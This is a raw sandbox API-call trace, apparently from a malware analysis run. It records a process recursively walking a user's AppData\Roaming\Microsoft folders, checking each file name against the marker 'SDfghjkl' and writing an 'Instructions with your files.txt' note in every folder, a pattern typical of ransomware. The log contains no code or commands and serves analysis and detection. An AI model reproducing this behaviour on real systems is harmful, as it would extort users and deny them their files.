[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6409280, ftCreationTime.dwHighDateTime=0x1d4ae2c, ftLastAccessTime.dwLowDateTime=0xf6409280, ftLastAccessTime.dwHighDateTime=0x1d4ae2c, ftLastWriteTime.dwLowDateTime=0xf6409280, ftLastWriteTime.dwHighDateTime=0x1d4ae2c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="102a7bc8-3f85-4bb4-840a-38257d2965d2", cAlternateFileName="102A7B~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\102a7bc8-3f85-4bb4-840a-38257d2965d2") returned 151
[0131.443] StrStrIW (lpFirst="102a7bc8-3f85-4bb4-840a-38257d2965d2", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542b0350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542b0350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x542b0350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2be989a0-16a1-424b-9211-51aa3bb43e5d", cAlternateFileName="2BE989~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 151
[0131.443] StrStrIW (lpFirst="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa00d1450, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="c88686c4-5197-4198-abf5-e40243026500", cAlternateFileName="C88686~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\c88686c4-5197-4198-abf5-e40243026500") returned 151
[0131.443] StrStrIW (lpFirst="c88686c4-5197-4198-abf5-e40243026500", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x17ffec90, ftCreationTime.dwHighDateTime=0x1d3373c, ftLastAccessTime.dwLowDateTime=0x17ffec90, ftLastAccessTime.dwHighDateTime=0x1d3373c, ftLastWriteTime.dwLowDateTime=0x18024df0, ftLastWriteTime.dwHighDateTime=0x1d3373c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fbbe72db-afd8-443b-88dd-64b20388700d", cAlternateFileName="FBBE72~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d") returned 151
[0131.443] StrStrIW (lpFirst="fbbe72db-afd8-443b-88dd-64b20388700d", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1
[0131.444] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred") returned 124
[0131.444] StrStrIW (lpFirst="Preferred", lpSrch="SDfghjkl") returned 0x0
[0131.444] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0
[0131.444] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Instructions with your files.txt") returned 147
[0131.444] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.444] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.445] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.445] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.445] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.445] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.445] CloseHandle (hObject=0x11c) returned 1
[0131.445] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.445] GetProcessHeap () returned 0x810000
[0131.445] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.445] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1
[0131.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 76
[0131.445] StrStrIW (lpFirst="SYNCHIST", lpSrch="SDfghjkl") returned 0x0
[0131.446] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 0
[0131.446] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\Instructions with your files.txt") returned 100
[0131.446] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.446] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.447] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.447] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.447] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.447] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.447] CloseHandle (hObject=0x118) returned 1
[0131.447] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.447] GetProcessHeap () returned 0x810000
[0131.447] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.448] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
[0131.448] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned 69
[0131.448] GetProcessHeap () returned 0x810000
[0131.448] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.449] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned 71
[0131.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\.") returned 71
[0131.450] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\..") returned 72
[0131.450] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\Instructions with your files.txt") returned 102
[0131.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.450] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.451] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.451] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.452] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.452] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.452] CloseHandle (hObject=0x118) returned 1
[0131.452] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.452] GetProcessHeap () returned 0x810000
[0131.452] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.452] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1
[0131.452] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 85
[0131.452] GetProcessHeap () returned 0x810000
[0131.452] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.452] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned 87
[0131.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.455] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\.") returned 87
[0131.455] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.455] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\..") returned 88
[0131.455] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1
[0131.455] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 102
[0131.455] StrStrIW (lpFirst="ContentStore.xml", lpSrch="SDfghjkl") returned 0x0
[0131.455] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0
[0131.455] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\Instructions with your files.txt") returned 118
[0131.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.455] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.456] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.456] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.456] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.456] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.456] CloseHandle (hObject=0x118) returned 1
[0131.456] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.457] GetProcessHeap () returned 0x810000
[0131.457] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.457] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1
[0131.457] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned 66
[0131.457] GetProcessHeap () returned 0x810000
[0131.457] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*") returned 68
[0131.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\.") returned 68
[0131.457] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
